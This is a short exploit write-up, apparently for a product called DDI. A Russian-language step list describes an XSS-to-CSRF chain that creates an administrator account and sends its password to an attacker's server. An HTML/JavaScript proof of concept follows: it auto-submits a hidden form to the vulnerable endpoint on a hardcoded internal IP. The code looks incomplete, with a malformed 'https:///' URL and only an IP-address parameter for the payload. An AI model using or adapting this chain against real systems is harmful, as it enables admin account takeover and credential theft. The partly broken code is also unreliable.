1. Пользователь, вошедший в веб-интерфейс DDI, заманивается на вредоносную веб-страницу.
2. Вредоносный скрипт на этой странице запускается с использованием XSS-уязвимости в /php/detection_detail_filter.php
3. Скрипт получает CSRF-токен через PUT-запрос к /wsgi/csrf/get_token/
4. Затем он использует токен, полученный из ответа на предыдущий запрос, чтобы добавить учётную запись с правами администратора.
5. Пароль для добавленной учётной записи извлекается из ответа на предыдущий запрос.
6. Пароль может быть передан на сервер атакующего через HTTP-запрос.

<b>DDI PoC</b>
<script type="text/javascript">

function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", 'POST');
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}

var ddi_ip = '192.168.91.66';

post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});

</script>